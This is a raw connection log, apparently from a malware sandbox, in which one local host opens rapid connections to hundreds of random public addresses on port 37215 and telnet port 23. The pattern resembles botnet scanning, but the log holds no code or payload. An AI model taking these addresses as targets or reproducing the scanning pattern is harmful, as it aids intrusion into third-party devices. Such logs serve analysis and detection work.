Oct 14, 2024 17:30:13.938652039 CEST	59164	37215	192.168.2.14	41.168.196.240
Oct 14, 2024 17:30:13.938652992 CEST	38900	37215	192.168.2.14	156.195.97.201
Oct 14, 2024 17:30:13.938652992 CEST	46498	37215	192.168.2.14	197.34.98.159
Oct 14, 2024 17:30:13.938654900 CEST	59340	37215	192.168.2.14	197.190.87.191
Oct 14, 2024 17:30:13.938659906 CEST	58968	37215	192.168.2.14	197.24.121.206
Oct 14, 2024 17:30:13.938659906 CEST	49614	37215	192.168.2.14	197.235.223.5
Oct 14, 2024 17:30:13.938669920 CEST	41848	37215	192.168.2.14	197.217.242.63
Oct 14, 2024 17:30:13.938676119 CEST	34010	37215	192.168.2.14	197.122.6.143
Oct 14, 2024 17:30:13.938700914 CEST	42460	37215	192.168.2.14	197.7.2.153
Oct 14, 2024 17:30:13.938700914 CEST	48522	37215	192.168.2.14	197.226.179.113
Oct 14, 2024 17:30:13.938703060 CEST	59540	37215	192.168.2.14	197.149.187.154
Oct 14, 2024 17:30:13.938704967 CEST	55882	37215	192.168.2.14	156.62.93.61
Oct 14, 2024 17:30:13.938707113 CEST	37578	37215	192.168.2.14	41.107.152.217
Oct 14, 2024 17:30:13.938714981 CEST	34854	37215	192.168.2.14	197.56.238.39
Oct 14, 2024 17:30:13.938715935 CEST	52888	37215	192.168.2.14	41.103.110.146
Oct 14, 2024 17:30:13.938719034 CEST	51664	37215	192.168.2.14	41.141.244.117
Oct 14, 2024 17:30:13.938720942 CEST	33296	37215	192.168.2.14	197.53.87.26
Oct 14, 2024 17:30:13.938721895 CEST	35310	37215	192.168.2.14	156.21.37.74
Oct 14, 2024 17:30:13.938736916 CEST	49764	37215	192.168.2.14	156.128.77.136
Oct 14, 2024 17:30:13.938736916 CEST	52550	37215	192.168.2.14	197.143.89.78
Oct 14, 2024 17:30:13.938739061 CEST	60642	37215	192.168.2.14	41.17.163.19
Oct 14, 2024 17:30:13.938740015 CEST	39414	37215	192.168.2.14	41.182.99.130
Oct 14, 2024 17:30:13.938741922 CEST	42522	37215	192.168.2.14	41.14.62.155
Oct 14, 2024 17:30:13.938741922 CEST	38030	37215	192.168.2.14	41.244.255.42
Oct 14, 2024 17:30:13.938745975 CEST	60414	37215	192.168.2.14	41.189.39.190
Oct 14, 2024 17:30:13.938754082 CEST	52504	37215	192.168.2.14	156.111.226.168
Oct 14, 2024 17:30:13.938755035 CEST	43498	37215	192.168.2.14	41.8.203.216
Oct 14, 2024 17:30:13.938756943 CEST	42508	37215	192.168.2.14	197.139.34.171
Oct 14, 2024 17:30:13.938755035 CEST	41192	37215	192.168.2.14	41.180.231.59
Oct 14, 2024 17:30:13.938755035 CEST	42810	37215	192.168.2.14	156.231.164.193
Oct 14, 2024 17:30:13.938755035 CEST	40234	37215	192.168.2.14	156.112.108.7
Oct 14, 2024 17:30:13.938760996 CEST	60300	37215	192.168.2.14	197.231.83.44
Oct 14, 2024 17:30:13.938755989 CEST	44614	37215	192.168.2.14	41.117.223.120
Oct 14, 2024 17:30:13.938761950 CEST	34778	37215	192.168.2.14	41.194.134.46
Oct 14, 2024 17:30:13.938755989 CEST	47976	37215	192.168.2.14	41.104.229.93
Oct 14, 2024 17:30:13.938766956 CEST	58164	37215	192.168.2.14	41.82.111.90
Oct 14, 2024 17:30:13.938769102 CEST	36382	37215	192.168.2.14	41.239.188.6
Oct 14, 2024 17:30:13.938775063 CEST	36394	37215	192.168.2.14	156.218.174.34
Oct 14, 2024 17:30:13.938786030 CEST	44382	37215	192.168.2.14	41.192.52.187
Oct 14, 2024 17:30:13.938842058 CEST	34546	37215	192.168.2.14	197.52.126.20
Oct 14, 2024 17:30:13.938842058 CEST	53628	37215	192.168.2.14	156.118.236.68
Oct 14, 2024 17:30:13.938842058 CEST	53208	37215	192.168.2.14	41.1.32.139
Oct 14, 2024 17:30:13.938842058 CEST	33410	37215	192.168.2.14	156.223.254.14
Oct 14, 2024 17:30:13.938842058 CEST	58460	37215	192.168.2.14	197.188.235.20
Oct 14, 2024 17:30:13.946259975 CEST	12058	23	192.168.2.14	179.57.177.211
Oct 14, 2024 17:30:13.946285963 CEST	12058	23	192.168.2.14	175.39.247.155
Oct 14, 2024 17:30:13.946311951 CEST	12058	23	192.168.2.14	159.232.184.83
Oct 14, 2024 17:30:13.946310043 CEST	12058	23	192.168.2.14	186.214.217.56
Oct 14, 2024 17:30:13.946314096 CEST	12058	23	192.168.2.14	27.209.34.244
Oct 14, 2024 17:30:13.946314096 CEST	12058	23	192.168.2.14	200.34.13.133
Oct 14, 2024 17:30:13.946310043 CEST	12058	23	192.168.2.14	19.245.49.255
Oct 14, 2024 17:30:13.946326971 CEST	12058	23	192.168.2.14	105.221.34.58
Oct 14, 2024 17:30:13.946327925 CEST	12058	23	192.168.2.14	1.105.83.79
Oct 14, 2024 17:30:13.946327925 CEST	12058	23	192.168.2.14	182.144.24.184
Oct 14, 2024 17:30:13.946327925 CEST	12058	23	192.168.2.14	200.158.183.223
Oct 14, 2024 17:30:13.946347952 CEST	12058	23	192.168.2.14	37.126.160.120
Oct 14, 2024 17:30:13.946365118 CEST	12058	23	192.168.2.14	173.64.0.188
Oct 14, 2024 17:30:13.946373940 CEST	12058	23	192.168.2.14	140.194.228.205
Oct 14, 2024 17:30:13.946373940 CEST	12058	23	192.168.2.14	143.52.148.236
Oct 14, 2024 17:30:13.946373940 CEST	12058	23	192.168.2.14	19.173.159.57
Oct 14, 2024 17:30:13.946373940 CEST	12058	23	192.168.2.14	43.45.203.176
Oct 14, 2024 17:30:13.946377993 CEST	12058	23	192.168.2.14	202.158.161.173
Oct 14, 2024 17:30:13.946383953 CEST	12058	23	192.168.2.14	185.230.184.21
Oct 14, 2024 17:30:13.946373940 CEST	12058	23	192.168.2.14	135.31.77.155
Oct 14, 2024 17:30:13.946388960 CEST	12058	23	192.168.2.14	36.61.101.179
Oct 14, 2024 17:30:13.946388960 CEST	12058	23	192.168.2.14	126.210.199.166
Oct 14, 2024 17:30:13.946402073 CEST	12058	23	192.168.2.14	77.191.204.233
Oct 14, 2024 17:30:13.946402073 CEST	12058	23	192.168.2.14	37.41.224.84
Oct 14, 2024 17:30:13.946402073 CEST	12058	23	192.168.2.14	193.73.162.211
Oct 14, 2024 17:30:13.946402073 CEST	12058	23	192.168.2.14	213.169.245.252
Oct 14, 2024 17:30:13.946402073 CEST	12058	23	192.168.2.14	146.223.83.162
Oct 14, 2024 17:30:13.946402073 CEST	12058	23	192.168.2.14	99.8.114.199
Oct 14, 2024 17:30:13.946412086 CEST	12058	23	192.168.2.14	46.182.217.14
Oct 14, 2024 17:30:13.946413040 CEST	12058	23	192.168.2.14	126.115.97.60
Oct 14, 2024 17:30:13.946415901 CEST	12058	23	192.168.2.14	189.244.172.159
Oct 14, 2024 17:30:13.946423054 CEST	12058	23	192.168.2.14	118.10.117.253
Oct 14, 2024 17:30:13.946434021 CEST	12058	23	192.168.2.14	116.189.248.181
Oct 14, 2024 17:30:13.946434975 CEST	12058	23	192.168.2.14	187.251.17.1
Oct 14, 2024 17:30:13.946443081 CEST	12058	23	192.168.2.14	31.88.3.93
Oct 14, 2024 17:30:13.946444988 CEST	12058	23	192.168.2.14	5.253.27.210
Oct 14, 2024 17:30:13.946448088 CEST	12058	23	192.168.2.14	112.104.14.62
Oct 14, 2024 17:30:13.946460962 CEST	12058	23	192.168.2.14	96.195.173.196
Oct 14, 2024 17:30:13.946460962 CEST	12058	23	192.168.2.14	112.152.47.160
Oct 14, 2024 17:30:13.946465969 CEST	12058	23	192.168.2.14	190.126.170.56
Oct 14, 2024 17:30:13.946470022 CEST	12058	23	192.168.2.14	109.217.121.37
Oct 14, 2024 17:30:13.946470022 CEST	12058	23	192.168.2.14	95.253.194.232
Oct 14, 2024 17:30:13.946486950 CEST	12058	23	192.168.2.14	205.18.34.82
Oct 14, 2024 17:30:13.946491957 CEST	12058	23	192.168.2.14	87.201.154.113
Oct 14, 2024 17:30:13.946496964 CEST	12058	23	192.168.2.14	74.30.242.55
Oct 14, 2024 17:30:13.946496964 CEST	12058	23	192.168.2.14	14.166.38.193
Oct 14, 2024 17:30:13.946506023 CEST	12058	23	192.168.2.14	94.167.155.70
Oct 14, 2024 17:30:13.946506977 CEST	12058	23	192.168.2.14	90.43.242.178
Oct 14, 2024 17:30:13.946523905 CEST	12058	23	192.168.2.14	146.28.70.80
Oct 14, 2024 17:30:13.946526051 CEST	12058	23	192.168.2.14	72.102.133.91
Oct 14, 2024 17:30:13.946532011 CEST	12058	23	192.168.2.14	104.253.136.23
Oct 14, 2024 17:30:13.946541071 CEST	12058	23	192.168.2.14	163.111.153.92
Oct 14, 2024 17:30:13.946541071 CEST	12058	23	192.168.2.14	174.206.159.110
Oct 14, 2024 17:30:13.946552038 CEST	12058	23	192.168.2.14	27.40.79.195
Oct 14, 2024 17:30:13.946568966 CEST	12058	23	192.168.2.14	196.116.196.39
Oct 14, 2024 17:30:13.946571112 CEST	12058	23	192.168.2.14	164.58.39.49
Oct 14, 2024 17:30:13.946571112 CEST	12058	23	192.168.2.14	68.225.92.155
Oct 14, 2024 17:30:13.946573019 CEST	12058	23	192.168.2.14	187.8.166.222
Oct 14, 2024 17:30:13.946589947 CEST	12058	23	192.168.2.14	91.102.175.179
Oct 14, 2024 17:30:13.946599007 CEST	12058	23	192.168.2.14	17.43.229.36
Oct 14, 2024 17:30:13.946599007 CEST	12058	23	192.168.2.14	141.191.13.53
Oct 14, 2024 17:30:13.946609020 CEST	12058	23	192.168.2.14	80.9.106.65
Oct 14, 2024 17:30:13.946613073 CEST	12058	23	192.168.2.14	222.14.33.12
Oct 14, 2024 17:30:13.946619987 CEST	12058	23	192.168.2.14	182.125.254.69
Oct 14, 2024 17:30:13.946631908 CEST	12058	23	192.168.2.14	14.9.63.15
Oct 14, 2024 17:30:13.946639061 CEST	12058	23	192.168.2.14	175.132.136.147
Oct 14, 2024 17:30:13.946640015 CEST	12058	23	192.168.2.14	89.110.9.172
Oct 14, 2024 17:30:13.946640968 CEST	12058	23	192.168.2.14	217.13.210.195
Oct 14, 2024 17:30:13.946640015 CEST	12058	23	192.168.2.14	223.93.57.91
Oct 14, 2024 17:30:13.946651936 CEST	12058	23	192.168.2.14	157.152.112.169
Oct 14, 2024 17:30:13.946652889 CEST	12058	23	192.168.2.14	194.147.86.14
Oct 14, 2024 17:30:13.946671963 CEST	12058	23	192.168.2.14	213.98.219.34
Oct 14, 2024 17:30:13.946671963 CEST	12058	23	192.168.2.14	65.56.136.193
Oct 14, 2024 17:30:13.946677923 CEST	12058	23	192.168.2.14	162.250.41.190
Oct 14, 2024 17:30:13.946686983 CEST	12058	23	192.168.2.14	123.185.231.182
Oct 14, 2024 17:30:13.946686983 CEST	12058	23	192.168.2.14	160.26.66.101
Oct 14, 2024 17:30:13.946691036 CEST	12058	23	192.168.2.14	107.8.245.239
Oct 14, 2024 17:30:13.946707010 CEST	12058	23	192.168.2.14	168.158.114.99
Oct 14, 2024 17:30:13.946707010 CEST	12058	23	192.168.2.14	34.172.235.65
Oct 14, 2024 17:30:13.946727037 CEST	12058	23	192.168.2.14	93.116.248.134
Oct 14, 2024 17:30:13.946731091 CEST	12058	23	192.168.2.14	201.132.33.37
Oct 14, 2024 17:30:13.946731091 CEST	12058	23	192.168.2.14	32.234.27.146
Oct 14, 2024 17:30:13.946733952 CEST	12058	23	192.168.2.14	91.16.133.191
Oct 14, 2024 17:30:13.946749926 CEST	12058	23	192.168.2.14	115.31.87.138
Oct 14, 2024 17:30:13.946749926 CEST	12058	23	192.168.2.14	68.221.152.45
Oct 14, 2024 17:30:13.946751118 CEST	12058	23	192.168.2.14	141.174.150.153
Oct 14, 2024 17:30:13.946751118 CEST	12058	23	192.168.2.14	65.37.239.43
Oct 14, 2024 17:30:13.946752071 CEST	12058	23	192.168.2.14	137.200.216.148
Oct 14, 2024 17:30:13.946760893 CEST	12058	23	192.168.2.14	169.53.122.45
Oct 14, 2024 17:30:13.946762085 CEST	12058	23	192.168.2.14	126.47.18.98
Oct 14, 2024 17:30:13.946768045 CEST	12058	23	192.168.2.14	59.212.72.24
Oct 14, 2024 17:30:13.946778059 CEST	12058	23	192.168.2.14	158.35.186.161
Oct 14, 2024 17:30:13.946794987 CEST	12058	23	192.168.2.14	9.62.7.208
Oct 14, 2024 17:30:13.946798086 CEST	12058	23	192.168.2.14	102.242.184.146
Oct 14, 2024 17:30:13.946798086 CEST	12058	23	192.168.2.14	46.217.25.130
Oct 14, 2024 17:30:13.946798086 CEST	12058	23	192.168.2.14	4.11.178.134
Oct 14, 2024 17:30:13.946799040 CEST	12058	23	192.168.2.14	53.97.153.37
Oct 14, 2024 17:30:13.946806908 CEST	12058	23	192.168.2.14	136.70.67.134
Oct 14, 2024 17:30:13.946830988 CEST	12058	23	192.168.2.14	212.154.88.169
Oct 14, 2024 17:30:13.946835041 CEST	12058	23	192.168.2.14	130.182.131.245
Oct 14, 2024 17:30:13.946834087 CEST	12058	23	192.168.2.14	143.9.187.89
Oct 14, 2024 17:30:13.946834087 CEST	12058	23	192.168.2.14	74.40.138.14
Oct 14, 2024 17:30:13.946836948 CEST	12058	23	192.168.2.14	71.163.106.168
Oct 14, 2024 17:30:13.946851969 CEST	12058	23	192.168.2.14	17.184.225.188
Oct 14, 2024 17:30:13.946857929 CEST	12058	23	192.168.2.14	51.223.230.153
Oct 14, 2024 17:30:13.946857929 CEST	12058	23	192.168.2.14	151.171.54.160
Oct 14, 2024 17:30:13.946866989 CEST	12058	23	192.168.2.14	202.27.185.86
Oct 14, 2024 17:30:13.946866989 CEST	12058	23	192.168.2.14	206.178.85.251
Oct 14, 2024 17:30:13.946875095 CEST	12058	23	192.168.2.14	105.175.182.113
Oct 14, 2024 17:30:13.946882963 CEST	12058	23	192.168.2.14	84.140.201.83
Oct 14, 2024 17:30:13.946897030 CEST	12058	23	192.168.2.14	97.252.34.62
Oct 14, 2024 17:30:13.946897030 CEST	12058	23	192.168.2.14	59.245.3.223
Oct 14, 2024 17:30:13.946911097 CEST	12058	23	192.168.2.14	222.220.73.183
Oct 14, 2024 17:30:13.946911097 CEST	12058	23	192.168.2.14	13.108.40.223
Oct 14, 2024 17:30:13.946913004 CEST	12058	23	192.168.2.14	107.142.175.174
Oct 14, 2024 17:30:13.946926117 CEST	12058	23	192.168.2.14	85.228.144.35
Oct 14, 2024 17:30:13.946926117 CEST	12058	23	192.168.2.14	157.197.154.144
Oct 14, 2024 17:30:13.946930885 CEST	12058	23	192.168.2.14	154.41.201.221
Oct 14, 2024 17:30:13.946943998 CEST	12058	23	192.168.2.14	12.73.8.206
Oct 14, 2024 17:30:13.946952105 CEST	12058	23	192.168.2.14	62.102.153.174
Oct 14, 2024 17:30:13.946954012 CEST	12058	23	192.168.2.14	182.56.254.108
Oct 14, 2024 17:30:13.946959019 CEST	12058	23	192.168.2.14	133.239.140.177
Oct 14, 2024 17:30:13.946959019 CEST	12058	23	192.168.2.14	175.76.196.94
Oct 14, 2024 17:30:13.946960926 CEST	12058	23	192.168.2.14	169.62.127.246
Oct 14, 2024 17:30:13.946970940 CEST	12058	23	192.168.2.14	45.227.84.245
Oct 14, 2024 17:30:13.946980000 CEST	12058	23	192.168.2.14	168.102.174.18
Oct 14, 2024 17:30:13.946985960 CEST	12058	23	192.168.2.14	136.135.2.255
Oct 14, 2024 17:30:13.946991920 CEST	12058	23	192.168.2.14	177.43.182.236
Oct 14, 2024 17:30:13.947010040 CEST	12058	23	192.168.2.14	9.225.6.231
Oct 14, 2024 17:30:13.947010040 CEST	12058	23	192.168.2.14	159.90.9.8
Oct 14, 2024 17:30:13.947019100 CEST	12058	23	192.168.2.14	66.27.96.121
Oct 14, 2024 17:30:13.947022915 CEST	12058	23	192.168.2.14	139.11.94.76
Oct 14, 2024 17:30:13.947026968 CEST	12058	23	192.168.2.14	8.149.45.75
Oct 14, 2024 17:30:13.947026968 CEST	12058	23	192.168.2.14	122.67.58.92
Oct 14, 2024 17:30:13.947042942 CEST	12058	23	192.168.2.14	84.110.222.229
Oct 14, 2024 17:30:13.947042942 CEST	12058	23	192.168.2.14	91.103.0.7
Oct 14, 2024 17:30:13.947045088 CEST	12058	23	192.168.2.14	202.7.8.186
Oct 14, 2024 17:30:13.947045088 CEST	12058	23	192.168.2.14	151.171.64.171
Oct 14, 2024 17:30:13.947048903 CEST	12058	23	192.168.2.14	98.171.3.61
Oct 14, 2024 17:30:13.947062969 CEST	12058	23	192.168.2.14	143.64.187.49
Oct 14, 2024 17:30:13.947063923 CEST	12058	23	192.168.2.14	84.91.246.193
Oct 14, 2024 17:30:13.947067976 CEST	12058	23	192.168.2.14	142.9.37.168
Oct 14, 2024 17:30:13.947082043 CEST	12058	23	192.168.2.14	223.68.129.238
Oct 14, 2024 17:30:13.947082996 CEST	12058	23	192.168.2.14	196.196.102.38
Oct 14, 2024 17:30:13.947088957 CEST	12058	23	192.168.2.14	47.253.106.161
Oct 14, 2024 17:30:13.947089911 CEST	12058	23	192.168.2.14	105.235.152.44
Oct 14, 2024 17:30:13.947092056 CEST	12058	23	192.168.2.14	202.61.97.69
Oct 14, 2024 17:30:13.947102070 CEST	12058	23	192.168.2.14	199.53.24.179
Oct 14, 2024 17:30:13.947112083 CEST	12058	23	192.168.2.14	128.173.205.185
Oct 14, 2024 17:30:13.947112083 CEST	12058	23	192.168.2.14	52.196.48.27
Oct 14, 2024 17:30:13.947112083 CEST	12058	23	192.168.2.14	183.130.118.59
Oct 14, 2024 17:30:13.947118044 CEST	12058	23	192.168.2.14	102.89.1.238
Oct 14, 2024 17:30:13.947118044 CEST	12058	23	192.168.2.14	35.67.236.53
Oct 14, 2024 17:30:13.947129011 CEST	12058	23	192.168.2.14	44.3.152.18
Oct 14, 2024 17:30:13.947129965 CEST	12058	23	192.168.2.14	192.68.4.92
Oct 14, 2024 17:30:13.947129965 CEST	12058	23	192.168.2.14	130.214.128.161
Oct 14, 2024 17:30:13.947134972 CEST	12058	23	192.168.2.14	40.143.185.83
Oct 14, 2024 17:30:13.947140932 CEST	12058	23	192.168.2.14	19.62.208.76
Oct 14, 2024 17:30:13.947144032 CEST	12058	23	192.168.2.14	190.11.250.209
Oct 14, 2024 17:30:13.947150946 CEST	12058	23	192.168.2.14	39.9.39.164
Oct 14, 2024 17:30:13.947158098 CEST	12058	23	192.168.2.14	137.63.221.54
Oct 14, 2024 17:30:13.947159052 CEST	12058	23	192.168.2.14	63.61.122.51
Oct 14, 2024 17:30:13.947166920 CEST	12058	23	192.168.2.14	148.85.212.61
Oct 14, 2024 17:30:13.947177887 CEST	12058	23	192.168.2.14	47.31.23.182
Oct 14, 2024 17:30:13.947180033 CEST	12058	23	192.168.2.14	24.241.32.240
Oct 14, 2024 17:30:13.947185040 CEST	12058	23	192.168.2.14	39.205.104.156
Oct 14, 2024 17:30:13.947185040 CEST	12058	23	192.168.2.14	105.164.88.79
Oct 14, 2024 17:30:13.947201014 CEST	12058	23	192.168.2.14	120.43.15.5
Oct 14, 2024 17:30:13.947201014 CEST	12058	23	192.168.2.14	135.24.126.21
Oct 14, 2024 17:30:13.947201014 CEST	12058	23	192.168.2.14	131.154.159.31
Oct 14, 2024 17:30:13.947207928 CEST	12058	23	192.168.2.14	188.97.92.11
Oct 14, 2024 17:30:13.947210073 CEST	12058	23	192.168.2.14	132.31.62.18
Oct 14, 2024 17:30:13.947211981 CEST	12058	23	192.168.2.14	199.30.224.20
Oct 14, 2024 17:30:13.947211981 CEST	12058	23	192.168.2.14	194.85.173.161
Oct 14, 2024 17:30:13.947217941 CEST	12058	23	192.168.2.14	200.254.179.125
Oct 14, 2024 17:30:13.947218895 CEST	12058	23	192.168.2.14	50.55.232.174
Oct 14, 2024 17:30:13.947237015 CEST	12058	23	192.168.2.14	123.60.152.139
Oct 14, 2024 17:30:13.947252035 CEST	12058	23	192.168.2.14	36.121.134.163
Oct 14, 2024 17:30:13.947267056 CEST	12058	23	192.168.2.14	94.240.222.135
Oct 14, 2024 17:30:13.947267056 CEST	12058	23	192.168.2.14	102.59.53.128
Oct 14, 2024 17:30:13.947267056 CEST	12058	23	192.168.2.14	185.26.19.65
Oct 14, 2024 17:30:13.947267056 CEST	12058	23	192.168.2.14	84.243.55.217
Oct 14, 2024 17:30:13.947267056 CEST	12058	23	192.168.2.14	88.212.71.87
Oct 14, 2024 17:30:13.947273016 CEST	12058	23	192.168.2.14	130.30.167.140
Oct 14, 2024 17:30:13.947283030 CEST	12058	23	192.168.2.14	169.5.81.234
Oct 14, 2024 17:30:13.947283030 CEST	12058	23	192.168.2.14	4.112.251.228
Oct 14, 2024 17:30:13.947288990 CEST	12058	23	192.168.2.14	73.213.204.203
Oct 14, 2024 17:30:13.947299957 CEST	12058	23	192.168.2.14	173.131.117.221
Oct 14, 2024 17:30:13.947302103 CEST	12058	23	192.168.2.14	128.164.219.47
Oct 14, 2024 17:30:13.947305918 CEST	12058	23	192.168.2.14	102.250.118.162
Oct 14, 2024 17:30:13.947307110 CEST	12058	23	192.168.2.14	179.248.102.188
Oct 14, 2024 17:30:13.947314024 CEST	12058	23	192.168.2.14	158.81.191.220
Oct 14, 2024 17:30:13.947320938 CEST	12058	23	192.168.2.14	150.224.5.31
Oct 14, 2024 17:30:13.947320938 CEST	12058	23	192.168.2.14	157.160.118.74
Oct 14, 2024 17:30:13.947328091 CEST	12058	23	192.168.2.14	1.124.25.135
Oct 14, 2024 17:30:13.947333097 CEST	12058	23	192.168.2.14	128.178.192.102
Oct 14, 2024 17:30:13.947359085 CEST	12058	23	192.168.2.14	133.206.58.16
Oct 14, 2024 17:30:13.947359085 CEST	12058	23	192.168.2.14	169.93.154.33
Oct 14, 2024 17:30:13.947362900 CEST	12058	23	192.168.2.14	137.229.61.70
Oct 14, 2024 17:30:13.947364092 CEST	12058	23	192.168.2.14	186.215.188.130
Oct 14, 2024 17:30:13.947366953 CEST	12058	23	192.168.2.14	37.8.90.172
Oct 14, 2024 17:30:13.947379112 CEST	12058	23	192.168.2.14	107.123.74.144
Oct 14, 2024 17:30:13.947379112 CEST	12058	23	192.168.2.14	25.177.230.236
Oct 14, 2024 17:30:13.947379112 CEST	12058	23	192.168.2.14	145.137.116.1
Oct 14, 2024 17:30:13.947379112 CEST	12058	23	192.168.2.14	198.177.51.140
Oct 14, 2024 17:30:13.947381020 CEST	12058	23	192.168.2.14	154.24.174.224
Oct 14, 2024 17:30:13.947397947 CEST	12058	23	192.168.2.14	128.77.109.26
Oct 14, 2024 17:30:13.947397947 CEST	12058	23	192.168.2.14	182.69.40.238
Oct 14, 2024 17:30:13.947403908 CEST	12058	23	192.168.2.14	35.152.84.144
Oct 14, 2024 17:30:13.947407007 CEST	12058	23	192.168.2.14	174.89.133.136
Oct 14, 2024 17:30:13.947411060 CEST	12058	23	192.168.2.14	119.238.205.245
Oct 14, 2024 17:30:13.947412968 CEST	12058	23	192.168.2.14	78.178.111.40
Oct 14, 2024 17:30:13.947412968 CEST	12058	23	192.168.2.14	209.124.192.246
Oct 14, 2024 17:30:13.947415113 CEST	12058	23	192.168.2.14	1.131.146.149
Oct 14, 2024 17:30:13.947422028 CEST	12058	23	192.168.2.14	176.195.21.72
Oct 14, 2024 17:30:13.947422028 CEST	12058	23	192.168.2.14	68.198.1.51
Oct 14, 2024 17:30:13.947422981 CEST	12058	23	192.168.2.14	92.213.6.195
Oct 14, 2024 17:30:13.947422981 CEST	12058	23	192.168.2.14	97.235.168.145
Oct 14, 2024 17:30:13.947422981 CEST	12058	23	192.168.2.14	48.129.118.2
Oct 14, 2024 17:30:13.947422981 CEST	12058	23	192.168.2.14	133.80.26.145
Oct 14, 2024 17:30:13.947422981 CEST	12058	23	192.168.2.14	172.228.171.169
Oct 14, 2024 17:30:13.947427034 CEST	12058	23	192.168.2.14	8.219.159.80
Oct 14, 2024 17:30:13.947427034 CEST	12058	23	192.168.2.14	169.140.8.145
Oct 14, 2024 17:30:13.947438002 CEST	12058	23	192.168.2.14	135.160.43.241
Oct 14, 2024 17:30:13.947438002 CEST	12058	23	192.168.2.14	14.96.179.30
Oct 14, 2024 17:30:13.947446108 CEST	12058	23	192.168.2.14	94.48.67.138
Oct 14, 2024 17:30:13.947444916 CEST	12058	23	192.168.2.14	170.211.72.254
Oct 14, 2024 17:30:13.947453976 CEST	12058	23	192.168.2.14	222.190.61.73
Oct 14, 2024 17:30:13.947454929 CEST	12058	23	192.168.2.14	23.93.170.74
Oct 14, 2024 17:30:13.947477102 CEST	12058	23	192.168.2.14	35.91.229.248
Oct 14, 2024 17:30:13.947482109 CEST	12058	23	192.168.2.14	146.63.28.53
Oct 14, 2024 17:30:13.947495937 CEST	12058	23	192.168.2.14	126.137.88.63
Oct 14, 2024 17:30:13.947496891 CEST	12058	23	192.168.2.14	164.23.9.232
Oct 14, 2024 17:30:13.947499990 CEST	12058	23	192.168.2.14	129.114.217.158
Oct 14, 2024 17:30:13.947506905 CEST	12058	23	192.168.2.14	58.104.6.242
Oct 14, 2024 17:30:13.947529078 CEST	12058	23	192.168.2.14	164.12.20.59
Oct 14, 2024 17:30:13.947529078 CEST	12058	23	192.168.2.14	124.102.106.254
Oct 14, 2024 17:30:13.947530985 CEST	12058	23	192.168.2.14	32.61.82.231
Oct 14, 2024 17:30:13.947537899 CEST	12058	23	192.168.2.14	202.101.7.31
Oct 14, 2024 17:30:13.947539091 CEST	12058	23	192.168.2.14	86.212.129.50
Oct 14, 2024 17:30:13.947539091 CEST	12058	23	192.168.2.14	203.7.98.251
Oct 14, 2024 17:30:13.947555065 CEST	12058	23	192.168.2.14	44.176.143.244
Oct 14, 2024 17:30:13.947556019 CEST	12058	23	192.168.2.14	120.118.51.146
Oct 14, 2024 17:30:13.947556973 CEST	12058	23	192.168.2.14	135.254.87.124
Oct 14, 2024 17:30:13.947556973 CEST	12058	23	192.168.2.14	221.187.20.248
Oct 14, 2024 17:30:13.947556973 CEST	12058	23	192.168.2.14	202.57.150.184
Oct 14, 2024 17:30:13.947613001 CEST	12058	23	192.168.2.14	91.65.39.120
Oct 14, 2024 17:30:13.947613001 CEST	12058	23	192.168.2.14	222.212.34.102
Oct 14, 2024 17:30:13.947613001 CEST	12058	23	192.168.2.14	43.120.65.94
Oct 14, 2024 17:30:13.947613001 CEST	12058	23	192.168.2.14	123.134.177.1
Oct 14, 2024 17:30:13.947614908 CEST	12058	23	192.168.2.14	136.155.78.145
Oct 14, 2024 17:30:13.947613955 CEST	12058	23	192.168.2.14	98.8.78.46
Oct 14, 2024 17:30:13.947613955 CEST	12058	23	192.168.2.14	68.138.92.70
Oct 14, 2024 17:30:13.947614908 CEST	12058	23	192.168.2.14	112.254.6.177
Oct 14, 2024 17:30:13.947613955 CEST	12058	23	192.168.2.14	201.22.250.89
Oct 14, 2024 17:30:13.947613955 CEST	12058	23	192.168.2.14	93.9.247.119
Oct 14, 2024 17:30:13.947621107 CEST	12058	23	192.168.2.14	126.187.212.174
Oct 14, 2024 17:30:13.947621107 CEST	12058	23	192.168.2.14	39.129.18.151
Oct 14, 2024 17:30:13.947628975 CEST	12058	23	192.168.2.14	69.235.106.134
Oct 14, 2024 17:30:13.947628975 CEST	12058	23	192.168.2.14	69.210.237.54
Oct 14, 2024 17:30:13.947633982 CEST	12058	23	192.168.2.14	121.63.209.207
Oct 14, 2024 17:30:13.947633982 CEST	12058	23	192.168.2.14	69.109.59.243
Oct 14, 2024 17:30:13.947635889 CEST	12058	23	192.168.2.14	206.178.159.115
Oct 14, 2024 17:30:13.947635889 CEST	12058	23	192.168.2.14	96.218.111.40
Oct 14, 2024 17:30:13.947637081 CEST	12058	23	192.168.2.14	68.172.88.27
Oct 14, 2024 17:30:13.947635889 CEST	12058	23	192.168.2.14	146.224.108.41
Oct 14, 2024 17:30:13.947642088 CEST	12058	23	192.168.2.14	134.81.92.104
Oct 14, 2024 17:30:13.947647095 CEST	12058	23	192.168.2.14	8.17.136.44
Oct 14, 2024 17:30:13.947647095 CEST	12058	23	192.168.2.14	138.2.125.66
Oct 14, 2024 17:30:13.947642088 CEST	12058	23	192.168.2.14	125.189.201.198
Oct 14, 2024 17:30:13.947642088 CEST	12058	23	192.168.2.14	89.225.40.24
Oct 14, 2024 17:30:13.947662115 CEST	12058	23	192.168.2.14	211.64.129.184
Oct 14, 2024 17:30:13.947650909 CEST	12058	23	192.168.2.14	101.239.143.159
Oct 14, 2024 17:30:13.947662115 CEST	12058	23	192.168.2.14	126.161.151.0
Oct 14, 2024 17:30:13.947650909 CEST	12058	23	192.168.2.14	135.225.177.213
Oct 14, 2024 17:30:13.947662115 CEST	12058	23	192.168.2.14	147.52.167.84
Oct 14, 2024 17:30:13.947669029 CEST	12058	23	192.168.2.14	134.77.71.89
Oct 14, 2024 17:30:13.947669029 CEST	12058	23	192.168.2.14	112.71.89.223
Oct 14, 2024 17:30:13.947670937 CEST	12058	23	192.168.2.14	100.153.197.216
Oct 14, 2024 17:30:13.947670937 CEST	12058	23	192.168.2.14	79.48.195.182
Oct 14, 2024 17:30:13.947669029 CEST	12058	23	192.168.2.14	159.205.200.254
Oct 14, 2024 17:30:13.947670937 CEST	12058	23	192.168.2.14	81.71.91.231
Oct 14, 2024 17:30:13.947670937 CEST	12058	23	192.168.2.14	138.88.241.134
Oct 14, 2024 17:30:13.947669029 CEST	12058	23	192.168.2.14	136.23.12.248
Oct 14, 2024 17:30:13.947670937 CEST	12058	23	192.168.2.14	131.97.163.65
Oct 14, 2024 17:30:13.947674990 CEST	12058	23	192.168.2.14	101.133.229.153
Oct 14, 2024 17:30:13.947683096 CEST	12058	23	192.168.2.14	175.112.55.153
Oct 14, 2024 17:30:13.947695017 CEST	12058	23	192.168.2.14	160.26.222.95
